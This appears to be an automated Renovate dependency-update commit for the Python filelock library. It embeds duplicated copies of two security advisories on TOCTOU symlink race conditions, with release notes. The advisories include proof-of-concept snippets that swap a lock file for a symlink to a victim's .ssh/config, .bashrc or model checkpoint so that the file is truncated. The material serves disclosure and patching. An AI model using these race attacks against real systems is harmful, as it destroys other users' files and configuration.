4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

